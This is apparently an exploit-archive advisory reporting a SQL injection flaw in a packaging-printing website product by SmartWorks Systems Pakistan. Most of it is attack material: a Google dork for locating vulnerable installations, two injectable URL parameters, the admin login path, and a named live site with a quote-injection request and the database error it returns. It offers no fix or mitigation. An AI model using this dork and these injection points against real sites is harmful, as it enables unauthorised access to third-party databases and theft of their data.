################################################################################################# # Exploit Title : Packaging Printing © 2012 Powered by SmartWorks Systems Pakistan SQL Injection Vulnerability # Author [ Discovered By ] : KingSkrupellos # Date : 29/05/2018 # Vendor Homepage : smartworks.pk # Tested On : Windows # Exploit Risk : Medium # CWE: CWE-89 ################################################################################################# # Google Dork : intext:''Packaging Printing © 2012. Powered by : SmartWorks Systems.'' # Exploit : /aboutus.php?id=[SQL Injection] # Exploit : /services.php?content=services&sid=[SQL Injection] # Admin Control Panel Login Path => /admin/login.php ################################################################################################# # Example Site => pakistanpackages.com/services.php?content=services&sid=75%27 => [ Proof of Concept for SQL Injection ] => archive.is/qlHcQ # SQL/DB Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################